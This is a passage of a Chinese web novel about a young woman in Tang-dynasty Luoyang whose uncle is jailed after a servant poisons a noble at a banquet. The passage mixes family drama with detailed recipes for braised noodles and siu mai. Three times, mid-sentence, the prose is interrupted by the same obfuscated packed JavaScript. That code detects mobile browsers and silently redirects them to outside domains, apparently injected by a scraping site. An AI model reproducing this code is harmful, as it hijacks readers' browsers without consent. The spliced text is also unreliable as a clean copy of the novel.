尹遥乱七八糟地拽着俩人的胳膊：“行行行，吃吃吃，你俩先把我脖子松开！哎哟，痒！” “我不，要三娘亲亲我才松开！” “哈哈哈哈哈哈……” 在打打闹闹、吃吃喝喝中，众人终于在九月十七这一日，抵达了洛阳城外。沿着官道绕过城南的通津渠，再往前走便是洛阳的主门——定鼎门了。 尹遥牵着尹七娘下了马车，走到定鼎门的右手边排队入城。她抬首望着这座千年古都，只见城墙高耸巍峨，城门宽敞大气，正是好一副盛世气派！ “这便是传说中的大唐东都吗？”她不禁喃喃道。 守门的兵卒刚核勘好几人的过所，便听到她这句话，他朝着宫城方向遥拜了一礼，肃然提醒道：“小娘子，可万不能再叫东都了，皇太后已给咱们洛阳城赐了新名字：神都！” 米思禄的商队也通过了核勘入得城来，从定鼎门入了洛阳城，右手边第一坊便是胡人聚集的明教坊，也是他们准备前往的落脚地，这会儿便到了双方分别的时刻。 尹遥收下米思禄两枚金币的尾款，罗珊娜又跑了过来，把姐妹俩拉到一边，偷偷递过来一大袋果脯蜜饯，还握着她们两个的手眼泪汪汪道：“三娘，七娘，别忘了来找我玩儿啊！” 尹遥也把昨儿准备好的各色点心塞到她怀里，叮嘱道：“你日后万事小心，照顾好自己！我们得了空就来看你！” 罗珊娜一脸天真：“别担心我，万事有米思禄在呢！你们才更要照顾好自己哦！” “罗珊娜，走了！”见三个女子嘀嘀咕咕还在没完没了地话别，米思禄等得不耐烦了，在一旁高声催促。 罗珊娜只得依依不舍地转身回去了，尹遥看着商队离去的背影，显得有些忧心忡忡。 见三人已话别结束，康陶驾着马车笑道：“走吧，三娘子，七娘子，咱们去寻东家！” 尹遥抛开心中胡思乱想，还是先专心眼前吧！她转身应道：“来啦！” 8. 神都洛阳 大唐神都俗称洛阳城，位于都畿道洛州境内，北据邙山、南对龙门，洛水横贯其中，周边有黄河、伊河环绕，城中又有通津渠、通济渠、漕渠等贯穿其中，漕运线路四通八达，水面船只往来如梭，直教人看得眼花缭乱。 城中则是由一条条笔直的街道，将民宅划分成一百余个一里见方的“坊”，在加上南市、北市分布洛水两岸，共同构成了这神都洛阳。 “阿姐，这洛阳城好大呀！”尹七娘不住地掀开车帘朝外看，一双眼睛都快不够用了，尹遥也不住点头，心道自己也算是刘姥姥进大观园了。 自康陶离开洛阳已有月余，如今简直可以说是归心似箭。这会儿接近午时，沈龄应该正在店中忙碌，于是他驾马车沿天街往北过明教坊等四坊后，转而向东又经过五坊，直奔城中最繁华的南市而去，沈记食店正是坐落在那儿。 待到了南市门口，三人从西门随人流鱼贯而入，只见南市内各色商铺栉比鳞次，食材、香料、珠宝、瓷器、丝绸、日用百货无不一应俱全，街上到处都是来这儿采购、售卖的各地商人和大唐百姓，正可谓是摩肩接踵、人声鼎沸，看得尹家姐妹啧啧称奇。 康陶也不得不拽着缰绳，让马车慢慢往前挪，又自豪道：“南市内一百二十行，将近三千家店铺，咱们沈记就在最中心的位置。二位娘子你们瞧，前面就是了！” 顺着康陶手指的方向，姐妹俩看到右前方有一座十分富丽堂皇的三层楼，尹七娘睁大了眼睛：“哇，那就是舅舅的食店吗？好气派呀！” 就在这时，路边突然窜出来个半大的小孩儿，扒在车边大声叫道：“哟，这不是康陶吗？” “胡二郎？没大没小的，叫康大哥！”康陶扭头一瞧，发现还是个熟人，咧嘴调侃道：“这大中午的，不在你阿娘店里帮忙，在街上乱晃什么，不怕她揍你？” “哎呀，你还有心思管我？”胡二郎翻了个大白眼，急道，“你去哪了，怎么才回来？你们沈记出事儿了！” “什么？”康陶冷不丁听到这话，被吓了一大跳，沉下脸道：“你莫要浑说，沈记好好的能出什么事儿？” 胡二郎见他不信，指着沈记方向跳脚骂道：“呸，你这不识好人心的！你自己去看看，便知我浑没浑说！” 看他如此笃定，康陶心里也不由打起鼓来，把马车赶到路边交代了一句，就跳下车赶忙往沈记方向奔了过去。 姐妹俩留在车上等他，尹遥便朝着跟过来的胡二郎打探：“小郎君，沈记到底出了什么事儿？” 胡二郎方才好心报信儿，却被康陶呛了一顿，正生着闷气，闻言只东瞅瞅西看看根本不搭理她。 尹遥见他这样，眼珠一转，从袋子里掏出几颗方才罗珊娜给的波斯枣，在胡二郎面前晃了晃，笑道：“小郎君同我说说，我便给你好吃的如何？” 这波斯枣产自西域，色泽金黄、口感细腻香甜无比，经由胡商万里迢迢带到大唐，价格翻了数十倍不止，是难得的美味干果。 平日里胡二郎很少有机会能吃到，这会儿见了不禁吞了吞口水，又艰难地把头扭到一边，嗤道：“哼，谁稀罕了！” 尹七娘探出头来，从尹遥手里拿起一颗波斯枣，直接塞到了他嘴里，道：“你尝尝！” 这枣一进了嘴里，胡二郎就不自觉地舔了一口：嚯，真甜！ 俗话说吃人嘴短，这下他也不好意思扭捏作态了，挠了挠头，把自己知道的竹筒倒豆子全说了出来。 不过话虽如此，他一个混迹市井的小孩儿能知道多少？只不过是刚才在自家店里帮忙时，听到有客人在议论，说沈记今儿没开张，又有人说来了官兵在封店，他这才偷偷跑出来看热闹的，然后就瞧见了康陶一行人。 “封店？”尹遥和尹七娘面面相觑，异口同声道。尹遥不解，这沈记好端端的，怎么会被封店呢？ “胡二郎！你死哪去了？赶紧给我滚回来干活儿！”远处传来一道泼辣的女声，胡二郎缩了缩脖子，一溜烟儿跑走了。 又见康陶一脸焦急地跑了回来，匆匆道：“店里今儿没开张，门窗上还贴了封条，东家也不知去哪儿了……” 几人都是一脸懵，康陶跟尹遥商量了一下，二人决定先去沈家看看。 沈家就在南市东南侧的章善坊，离这儿不过一里地，康陶驾车从最近的口出了南市，再行半刻钟就到了。 只是三人赶到时，却看到有一队衙役正在查封沈府，还将府里的女眷都赶了出来。 “呜呜呜……阿姑，这是怎么回事儿啊？”一个中年妇人被人推到门外，不住地抹眼泪，“郎君他到底怎么了……呜呜呜……” 这妇人肌肤细腻雪白，看着保养得极好，年轻时定然是个美人儿，只是她此刻神色张皇，满脸的不知所措。 妇人旁边还有个老太太，年约六旬，腿脚看着不大好，头发也已花白，却打理得十分干净整洁。她挺直着腰板，不要人驱赶，只自己拄着拐杖，慢慢从府中走了出来。 老太太边走还边紧皱着眉头，朝那妇人无奈道：“能不能别哭了，你哭得我脑子嗡嗡的……” 尹家姐妹跳下马车，直冲着那老太太奔了过去，撞到了对方怀里，叫道：“阿婆！” 那老太太自然便是姐妹二人的外婆，也是沈龄和沈娘子的母亲——沈老太太。 见到两个女孩儿，方才还一脸镇定的沈老太太，一把将她们紧紧搂住，又想到自己的一双儿女，忍不住滚下泪来：“是三娘和七娘吗？我苦命的孙儿啊！快让阿婆好好看看……” 看到祖孙三人抱在一起痛哭，旁边的妇人被吓了一跳，差点忘了自己也在哭，抽抽噎噎道：“三娘，七娘，你……你们来了啊，路上……路上都还好吧……康陶呢？” 尹遥擦干眼泪，知道这便是自己的舅母陆娘子了，携着尹七娘给她行礼，道：“多谢舅母挂念，我们姐妹一切都好。只是不知家里这是……” 康陶停好马车也上得前来，焦急问道：“老太太，婶子，东家到底怎么了？” 还不待二人回答，就见沈府中走出一个衙役，朝几人高声喝道：“尔等何人，可是这沈家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418713|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的奴婢？” 三人忙将身份文牒并过所一同呈上，衙役一番核勘后还了回来，道：“既是良民，便不在查封之列，站到一边儿去。” “这位郎君，容小的问问，这沈家到底出了什么事儿？”见他这就要离开，康陶赶忙开口。 那衙役扫了众人一圈，冷冷道：“昨日千金公主寿宴，沈龄杀了裴家郎君，今日过堂已是证据确凿，被判三日后斩首，并罚没全部家产赔偿死者。” “什么，杀了人？”陆娘子惊呼一声，脸色瞬间煞白，连连后退几步，整个人瘫在了地上，嚎啕大哭了起来。 沈老太太脚下也是一个踉跄，尹遥见状赶忙扶住，又搀起陆娘子，勉力压下心中震惊，低声劝道：“阿婆舅母先莫着急，舅父此事定有蹊跷。既然还有三日时间，我们再仔细商量商量，看还有没有转圜的余地才是。” 沈老太太听了这话，有些意外地看了自家孙女儿一眼，却也很快镇定下来，沉声道：“三娘说得对，还没到哭天抢地的时候。康陶，把你婶子扶起来，咱们先离开这儿。” 此地不宜久留，沈老太太和陆娘子上了马车，康陶默默驾车离开了章善坊。 马车装不下四个人，尹家姐妹便没上车。牵着妹妹走在这陌生的街道上，尹遥心里其实也没什么谱，只得小声问康陶：“如今沈府查抄了，咱们这一大家子还得先找个地方落脚，这附近有邸店吗？” 康陶亦是心乱如麻，可如今也只能压下思绪专注眼前，他思索片刻摇了摇头：“这倒不用，先去我家吧……” 半个时辰后，马车抵达了洛阳城最南边的嘉庆坊，迈进四四方方的坊门，又往西南方向走了一会儿，停在了一座小小的宅院门前。 “老太太，陆娘子，到了。”康陶跳下马车，掏出钥匙上前把院门打开。 沈老太太率先下了车，上下左右打量了一圈，叹了声道：“兜兜转转，又回到这儿了。” 陆娘子跟在后面，却是一脸陌生，她疑惑道：“阿姑，你认得这儿？” 沈老太太轻抚着已有些斑驳的门扇，叹道：“先进去吧。” 康陶把众女眷送到院中，来不及交代，便急匆匆出门打探消息去了。几名女眷也进屋坐了下来，陆娘子方才哭了半晌，说是有些头晕，尹遥估摸着，她可能是把自己哭缺氧了…… “舅母万不要再哭了，一定要保重身子。”尹遥看她这样，只得温声劝解。 陆娘子低头抹着眼泪，道：“夫君他……该怎么办才好啊……” 看着自己这泪水涟涟的儿媳，沈老太太也是无可奈何：“你别胡思乱想了，闭上嘴歇会儿吧。” 安顿好两个长辈，尹遥又让尹七娘好好陪着，尹七娘露出个一定完成任务的表情，尹遥笑着摸摸她的头，走出房间来到院子里。在洛阳城里东南西北地跑了半天，这会儿都到下午了，几个人还没吃午饭，她便琢磨着准备点儿什么吃食。 毕竟人是铁饭是钢，到时候可别沈龄还没捞出来，家里的几个女眷却先倒了，还是得先填饱肚子才行！ 9. 茄子焖面 康陶家已有月余没住人，这会儿又已是深秋，房间内不免有些阴冷。担心这几个老弱妇孺着凉，尹遥先从院中搬了些柴火去厨房，将灶上的火生了起来。 她已察觉了，这宅院虽说看着破旧了些，但当年房主应该也是仔细修缮过的，卧房内还专门砌了土炕，只要灶上一生火，房间里也会跟着暖和起来。 接着她又检查了下厨房，发现陶釜、蒸笼、刀具、案板、锅碗瓢盆什么的，倒是一应俱全，虽说看着都有了些年头，却也还勉强凑合能用。 只不过吧，康陶作为单身汉，显然是个不怎么在家做饭的主儿，厨房里半点儿食材佐料都没存，院子里除了一小堆柴火外，也是空空荡荡，都不知这烹饪的家伙事儿是谁置办的。尹遥不由扶额苦笑，看来只能去马车里翻一翻，有什么吃什么吧！ 不过从华阴县已出来十几天，原本想着马上就能抵达洛阳，便未曾在路上再行补给，准备好的食材也都吃得差不多了。尹遥翻了半天，也只摸出来一个小冬瓜、两根茄子及半块咸肉，米面和干货倒是还剩了些。 看着这几样食材，尹遥盘算该如何螺狮壳里做道场，最后两手一拍，决定做一锅茄子焖面。既然大家伙儿都惊魂未定，那就吃点酸香开胃的安抚一下吧！再配上个咸肉冬瓜汤，清爽又暖心，完美！ 麻利地挽起袖子系好围裙，尹遥开始专心致志地准备起了晚饭。先取出几朵干香菇，放到清水中泡发，然后又将磨好的面粉摊在案板上，往里加入水和粗盐，快速地揉好一个面团，放在一旁扣上盆子开始醒面。 接下来再把剩下的半块儿咸肉全部切成薄片，这咸肉还是尹遥离开华阴前自己腌的，选了三肥七瘦的上好猪五花，用盐、花椒、豆蔻、酱油等各种香料腌制，又挂在马车后面风干了小半个月，切的时候香料已深入肉的内部，脂肪渗出了油脂，每一片都油汪汪的，看着就香极了。 两个茄子去皮切丁，泡入盐水中，保持茄子不变色，而且一会儿炒的时候也不会吸太多油进去，油腻腻的反而倒胃口。香菇也泡发好了，取出沥水，切成稍小一点的丁儿。 准备好各种食材后，尹遥将久已未用的大陶釜洗净擦干，起锅倒入一大勺猪油，油脂加热化开后，下入切好的葱姜蒜炝锅，用小火翻炒出香味儿，再下入一大半咸肉，继续翻炒，直至把咸肉中的油脂全部逼出，咸肉也被煸炒成诱人的金黄色，飘出一股浓浓的香味儿。 猪肉其实不怎么受大唐百姓欢迎，除了生活环境比较脏外，还因为这时没有骟猪这门手艺，因此猪肉总是有股骚味儿。这倒难不倒尹遥，她当初在腌肉的时候，便用葱姜水和米酒去了腥，这会儿煸炒之后，沿着锅边再淋入一圈米酒，酒精迅速挥发下，也就将那剩下的一点腥臊味儿带走了。 将咸肉从锅中捞出，往锅内剩余的热油中加入少许饴糖，小火翻炒出漂亮的糖色，再将咸肉倒回，与沥干的茄子丁和香菇丁一同翻炒，一直炒到茄子盛半透明状态，倒入酱油、豆豉，再沿锅边淋上一圈醋，滋啦一声，醋迅速蒸发，伴随着咸肉和茄子的香味儿，一下子激发了出来！ 深吸了口气，尹遥满意地点点头，又往锅里加了些开水，盖上盖子小火煮了起来，咕嘟咕嘟声中，鲜香的味道慢慢飘散出来。 面团这会儿也差不多醒好了，尹遥拿出来又用力揉了片刻，再用擀面杖擀成一张大饼，折叠后用刀切成小指宽的长条，再在面粉里滚几圈儿，筋道的手擀面就做好了。 “阿姐，你在做什么，怎么这么香啊！”尹七娘摸到了厨房，好奇道。 尹遥正把面条抖散，平铺在那一大锅汤汁儿上面，盖回盖子继续焖熟，见尹七娘来了，便笑着问道：“小馋猫，你怎么来了，阿婆和舅母还好吗？” “她们两个都睡着啦！”尹七娘竖起食指在嘴上，似模似样地小声道。 尹遥点点头，捞了块茄子出来尝尝，用盐水泡过再加上咸肉炒制，倒是不用额外再放盐了。她又喂了一块到尹七娘嘴里，也小小声问道：“怎么样，好吃吗？” 尹七娘踮起脚凑到她耳边道：“阿姐，好吃的！酸酸甜甜的！而且茄子又嫩又滑呢！” 尹遥忍俊不禁，轻轻捏了一下妹妹的鼻子，道：“好啦，去叫她们起来吃饭吧，肯定都饿坏了。” 尹七娘蹦蹦跳跳去叫人，尹遥则另外起锅热油，将剩下的一点儿咸肉煸炒片刻，再加入开水和切好的冬瓜片一起煮，约莫半刻钟后，冬瓜片就翻滚飘在水面上，散发出清香的味道。 往锅中加入酱油和盐，又撒上翠绿的葱花，尹遥盛出一勺尝了尝，嗯，清爽又暖心的咸肉冬瓜汤大功告成！ 打开焖面的锅盖，把面条和茄子卤搅拌均匀，每根面条上都裹满了浓郁的汤汁，还有咸肉和香菇茄子丁儿点缀其间，她盛了四大碗面条，又撒上些许葱花，一看就香得不得了。 “开饭喽！”将焖面和冬瓜汤端到正屋，见几人都已醒了，尹遥笑道，“阿婆，舅母，快来吃饭！” “我还不……”陆娘子自昨日沈龄未归家开始，便一直心神不宁的，今儿又突逢巨变，更是坐立难安，哪有心思吃饭？ 然而刚要开口推拒，她便闻到一阵扑鼻的香味儿：酸里有些甜，甜里又有酱香，酱香中又飘着些冬瓜的清香，冬瓜的清香里仿佛还混了些肉味儿？ 她还没说出口的“饿”字，一下就随着口水咽回了肚里，一整日水米未进的肚子，也不自觉地咕咕叫了起来。陆娘子赧然道：“多谢三娘……” 沈老太太却一点儿都不扭捏，笑着接过了一大碗面条，招手道：“三娘实在贴心，你怎知阿婆饿了，快都过来吃饭！” 说着她又瞅了陆娘子一眼，叹气道：“你也好好吃饭，别大郎没什么事儿，你倒先病倒了。” 尹遥失笑，心道：阿婆跟我可真是心有灵犀，这个老太太我喜欢！ 其实也不用老太太说，陆娘子早就主动拿起筷子，低头吃起了面条。 原本她还只是被香味儿吸引，一入口才发现，面条又韧又滑，裹着满满的汤汁，再配上炖的软糯的茄子和筋道的香菇丁，真是酸香可口，让人胃口大开！ 还有鲜香的咸肉，油脂已被煸了出去，肥肉也被炒的酥酥的，咬一口浓浓的肉香就充满了整个口腔！再喝一口冬瓜汤，整个人都变得暖洋洋的！ 陆娘子的胃口一下子就被勾起来了，也顾不得再伤春悲秋，不过片刻一碗面便已下肚。沈老太太和尹七娘也是低头吃得香甜，尹遥放下心来，也开始吃起自己碗里的面条，咀嚼声吹散了些许室内弥漫的低气压。 待到众人吃完，陆娘子看着人也精神了不少，她依依不舍地放下空碗，站起身笑道：“辛苦三娘了，舅母来刷碗。” 尹遥跟她客气了两句，就由着她去了，自己则同尹七娘留在房内，陪着沈老太太聊天，老太太也跟两个外孙说起了这间宅院的来历。 原来沈家老爷子本是关中人，家中也是开食店的，只是父母早亡，作为幼子的他，虽也传承了祖辈的手艺，但家业却是由长兄继承的。后来沈家夫妻成了亲，二人脑子都很活络，不愿一直在兄长的店内做个打下手的，便索性离开了家乡，跑到洛阳城里讨生活。 夫妻二人初到洛阳城时，便租住在这嘉庆坊中，先是从挑货郎和街边摊起家，慢慢地攒了些银钱，又在城中租下一个小小的铺面，开了家胡饼铺子。说起来姐妹二人的亡母沈娘子，她用以安身立命的胡饼手艺，便是从自己阿爹处耳濡目染学来的。 沈老爷子的手艺好，为人又厚道，做的胡饼味美价廉，广受城中百姓欢迎，因此铺子也是开得红红火火。后来夫妻二人还把租住的地方、也就是眼前这处宅院买了下来，又精心翻修了一番，正式在洛阳城扎了根。 沈龄、沈二娘兄妹俩便都是在这个房子里出生的，再然后沈家生意越做越大，从小铺子换成了大铺子，大铺子换成了独立的食店，还在繁华的章善坊置了大宅，全家都搬了过去，这里也就空了下来。 沈龄与陆娘子成婚时，沈家已经搬到大宅中了，因此陆娘子倒没在这院子里住过。夫妻二人婚后一直没有子嗣，沈龄又抚养了旧友之子康陶，夫妻俩也算将其视为半子，在前几年康陶成年时，沈龄便做主，把这宅子送给了他。 也因着这样的缘故，此处并不在沈龄名下，才躲过了被查抄的命运，成了沈家人如今的最后一处避风港。 尹遥暗叹，想不到这所宅院还有如此多的故事，也难怪厨房里有那么齐全的烹饪用品，原来都是当年外公外婆置办下来的。 几人说话间，外面天色也渐渐暗了下来，从街上传来连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15418714|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续不断的鼓声。沈老太太面露担忧：“康陶怎么还没回来，快夜禁了。” 神都洛阳城与西京长安城一样，为了保证城中的社会秩序与防火安全，执行的是严格的夜禁制度。每日自日暮起，一直到日出时分，城中各坊都要紧闭坊门，所有百姓若无紧急情况，必须留在坊内不得外出。金吾卫会整夜在街面上巡逻，若抓到有人违反夜禁，轻则仗刑，若是情况严重者，甚至可能直接处死。 这鼓声正是夜禁开始前的提醒，待到鼓声停止，坊门就会关闭，康陶再不回来，怕是要出事情。 尹遥听了这话也担心起来，当即起身，准备去院门口看看。 却见康陶伴随着最后一波鼓声，一阵风似地冲进屋来，道：“我打听到了！” “到底怎么回事儿？”这下几人都站了起来，陆娘子刚刷完碗回屋，也着急地问道。 康陶一口气还没喘匀，就急着开口：“东家他……” 看他这上气不接下气的样子，尹遥温声道：“左右夜禁已开始，便不急着这一会儿，康大哥先坐下喝口水，再同咱们好生说说，如今是怎么个情况？” 她又去厨房盛了一碗面端进来，康陶饿了一天，三口两口扒拉进肚，面露悔色道：“我方才去了其他几个伙计家，找到了其中一个，向他打听清楚了昨儿的情况，说起来倒都是曹二惹出来的祸事！” 去年年底时，沈记有个伙计离开洛阳回了老家，说是要回去继承家业。店中缺人手，沈龄便张贴了招人的告示。 这曹二便是当时前来应招的，他称自己父母均已过世，家中又无田产安身，恳求东家收留云云。沈龄心善，一听这话起了恻隐之心，康陶在旁也劝了几句，见他身强体壮、手脚麻利，便留在店里做了个跑堂伙计。 这将近一年下来，曹二干活儿也算勤快，从不曾出过什么岔子，只是平日里有些沉默寡言，不怎么跟其他人来往。但每个人都有自己的性格，这又不是什么大事儿，大家伙儿也都没放在过心上。 一直到昨日千金公主的寿宴，沈龄带着店里所有的厨子伙计前去操办。可谁能料想得到，曹二竟在其中一道菜肴里下了剧毒，直接毒死了参宴的裴家大郎。 宴席上裴大郎忽然口吐鲜血倒在地上，场面一片混乱，公主府连大夫都来不及请，便眼看着他咽了气。 见裴大郎已是活不成了，曹二冲到宴席中央，当着满堂宾客的面道出了真相。原来当日裴大郎看上了曹家的宅院，想要强行买下，曹家夫妻不愿，与其起了争执，却被其指使手下殴打致死，宅院自然也被他抢夺走了。 曹二原本出门在外，回到洛阳城才知家中出了此等祸事，但裴家乃是世家大族，裴大郎身边又仆从众多，他父亲还是掌管整个洛州庶务的洛州长史，曹二一介草民根本伸冤无门、报仇无望，只能看着仇人每日招摇过市。 后来曹二便混迹于市井之中，寻找复仇的机会。经打听得知，千金公主的寿宴每年都是由沈记操办，还会邀请城中各路权贵参加，他又瞧见沈记张贴招人公告，这才千方百计混入沈记做了伙计。 蛰伏了一年之久，取得了东家沈龄的信任后，曹二成功随其进入了公主府，得到了这千载难逢的机会，终于替父母报了仇。 讲完这些往事，曹二仰天长笑，赶来的洛州府兵正要上前抓捕，他早已服下毒药，亦是口吐鲜血、倒地不起，竟是个玉石俱焚的结局！ 陆娘子面露茫然，喃喃道：“可这事儿，我家郎君并不知情啊……” 听到这儿，众人方才明白了事情的来龙去脉，也被这内里曲折的真相镇得半天说不出话来。一时竟不知是该骂裴家仗势欺人，还是该叹息曹二申冤无门，亦或是……可怜可怜自己家，平白无故卷入这场泼天大祸。 曹二此举本是桩清楚明了的私人恩怨，与在座其他人都并无关系。话虽如此，可裴长史昨儿也在寿宴上，亲眼见到自己的独子惨死，本就怒火攻心，又见下毒者自尽，一腔愤懑无处发泄，矛头便直指向沈龄，说其既是沈记的东家，容留此等杀才必然也是共犯，便把他给抓走，下了洛州狱！ 尹遥这下懂了，舅父这回根本就是个背锅侠，也难怪会判得如此得快，又如此得重。 陆娘子嚎啕大哭：“得罪了此等权贵，郎君还能活吗……” 10. 纸皮烧麦 “你先别嚎了。”沈老太太努力稳住心神，喝止了陆娘子的哀嚎，思索半天发了话：“大郎实在无妄之灾，但此事也并非没有转圜的余地，我们还得从长计议。” 她叹了口气，又环顾了一圈屋里忧心忡忡的众人，最终选择了尹遥，“大伙今儿先歇了吧，明日三娘陪我往公主府走一趟。” 第二日天刚破晓，夜禁还未解除，尹遥便从屋里蹑手蹑脚地走了出来，又回头小心地把屋门关上。这一家子老的老小的小，青壮劳动力康陶昨儿又在外奔波了一天，此刻都还熟睡着，只有尹遥一个年富力强的起得早。 洛阳城寸土寸金，当日阿翁阿婆手头银钱有限，租住的宅院自然也小的很。此处一共只有三个房间，其中还有一个是厨房，卧房只有两间。昨儿康陶原本要把两间房都让给沈家人，自己出去随便找个地方凑合一宿，被沈老太太给拦住了，说没有客人把主人撵出去的道理，因此最后是四个女眷挤在主屋，让康陶去了侧屋睡。 尹遥站在院中抻了个懒腰，醒了醒神儿走进厨房，往只剩些许火星的灶膛里添了把柴，片刻后小院上就飘起了阵阵炊烟，她又简单洗漱了一番，就琢磨着准备些早饭。 昨儿下午她已把马车里剩余的食材全搬到了厨房，说是剩余，其实也就是些主粮、干货、调料之类的，肉蛋蔬菜是一点儿都没了。尹遥清点了一下存货，看来今儿无论如何都得去采买，否则家里就要断炊了！ 不过此刻坊门还未开，她也先不去预想这些烦心事，家里人一会儿就该醒了，还是先做早饭要紧。 她已打算好了，今早要蒸一笼纸皮烧麦。昨儿睡前提前泡好的糯米，这会儿已经充分吸收了水分，尹遥拿起一粒，用指甲捏了捏，很轻松就能捏碎，这样的糯米蒸起来更容易熟，口感也会更加软糯。她满意地把糯米捞出来，铺到笼屉中摊平，再上锅用大火蒸熟。 随着糯米的香气飘出，尹遥着手开始和面，烧麦皮儿更讲究软糯细腻，因此这回加的是温水，少许多次加水，用筷子将面粉搅成雪花状，待所有面粉都已吃进水后，再用手将其按压成块儿，最后再用力揉成光滑的面团。 片刻后面和好了，再将泡发好的香菇、干笋切成小丁儿，她心中寻思着，只可惜咸肉都吃完了，看来只能做一笼素馅儿烧麦了。 不料她刚把这几样儿切好，正准备炒制馅料时，就听到院门口传来了一阵敲门声。 这敲门声还挺执着，一刻不停地敲个没完。担心把家里人吵醒，尹遥菜刀都来不及放下，便小跑前去开门。 只见一个瘦瘦小小的老太太正站在门口，看到尹遥就从头到脚打量了一圈，笑嘻嘻道：“哟，这么漂亮的小娘子呀！” 这老太太边说着话还边踮起脚，一双眼睛直往院子里瞟，尹遥见她这样，便不动声色地侧了侧身，将门口挡住，冷冷道：“老人家，请问你是谁？” “哎哟，小娘子倒不认得我，我夫家姓韦，就住在隔壁呢。”老太太看她冷淡也不恼，跃跃欲试想绕过尹瑶进院子，嬉皮笑脸道：“小娘子怎地堵在这里，这家住的不是康小郎君吗？可我昨儿分明见到沈家嫂子回来了。” 认识康陶和阿婆，看来这韦老太还真是个熟人，只不过她嘴里虽然说得亲热，神情却是一副看好戏的样子，怎么看都是一肚子坏水，尹遥心中自是不喜，便要关门道：“我家人还在休息，韦婆婆请回吧。” 那韦老太却是个狗皮膏药，用手扒着院门不让她关上，非说要进去看看老姐妹。尹遥不耐烦跟她掰扯，又一时关不上门，眼睛一转忽然露出了一脸笑意，她索性松开手，迈出院子回身把门关上，又抓着韦老太的手，掐着嗓子甜甜道：“韦婆婆，既然你是我阿婆的老姐妹，那你是不是也得疼疼我这做孙女儿的呀？” “什么？”韦老太没料想她变脸如此之快，愣了一下。 尹遥却一反方才的冷淡，笑眯眯嗔道：“我也没别的要求，就想跟你讨块肉，你不会不同意吧？” “什么肉！”韦老太刚要跳起来撒泼，余光忽然瞟到了尹遥手上拎着的菜刀，那菜刀刚磨过，看起来锃亮锃亮。不知道是不是故意的，拿在手里还一晃一晃的，刀锋闪烁着丝丝寒光…… 俗话说鬼怕恶人，这老太太不知道尹遥的来历深浅，再惯会撒泼也知道要惜命，不由哆嗦了一下，到嘴边的半截儿话一下咽了回去。 尹遥只做不知，仍是一脸的人畜无害，半搀扶半挟持着老太太一直回到了韦家门口，反客为主地推开门走了进去。 韦老太家里儿子儿媳刚起床，就见到阿娘跟个小娘子一道进来了，愣了愣道：“阿娘，这是？” 尹遥理直气壮道：“叔叔婶子早啊，我是来随阿婆取肉的。”说着她又朝韦老太笑道：“韦婆婆，你刚才说得那般亲热，还说是我阿婆的好姐妹呢，可不会都是骗我的吧？” 韦老太又怕尹遥的菜刀，又被她挤兑得骑虎难下，只得骂道：“你们两个废物站着干什么，还不去给小娘子拿肉？” 嗯，这才对嘛，见两人听话地转身去厨房，尹遥又扬声提醒道：“叔，别忘了再给我拿几个鸡蛋！” 片刻后，尹遥右手提着菜刀，左手挎着个小竹篮，里面放着一条猪肉和几个新鲜鸡蛋，神清气爽地离开了韦家。临走她还不忘扎心：“多谢你们一家啦，日后我一定好好报答！” 这边她刚踏出韦家院子，院里就传来韦老太的大声咒骂，尹遥无所谓地耸了耸肩，拎着战利品回了自家。 韦老太骂完沈老太太骂尹遥，骂完尹遥骂儿子儿媳，再骂她那早死了的丈夫，总之是把能想到的全骂了一圈儿。想她在这嘉庆坊中生活了大半辈子，上一次吃这么大亏，还是三四十年前呢！这挨千刀的沈家！自己家这没用的两个废物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15418715|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！ 康陶昨儿实在太累了，今儿就起的稍晚了些，刚从屋里出来就听到隔壁隐约传来叫骂声，他缩了缩脖子，这韦老太实在是太泼了些，惹不起惹不起，自个儿还是躲远点儿吧。 他一抬头，就看到尹遥从外面走了进来，不由好奇道：“三娘这是去哪儿了？” 就见对方举起手中篮子，笑吟吟道：“隔壁韦婆婆送了我好吃的呢！” 留下院中一脸茫然的康陶，尹遥重新走进厨房，心道这回肉和鸡蛋都有了，什么素馅儿烧麦，一边凉快去吧，她要吃肉！ 笃笃笃，笃笃笃，格外有节奏地菜刀声从厨房中传出，明显能感觉到来自下厨人的喜悦。 尹遥哼着歌起锅热油，将刚剁好的肉馅儿下到锅中炒散，又倒入笋丁和香菇丁儿，加入酱油、粗盐，再淋入米酒，快速翻炒至全熟后，把锅从灶上移开，将方才已蒸好的糯米饭倒了进去，用锅铲拌匀，就变成了一大锅香喷喷的烧麦馅儿。 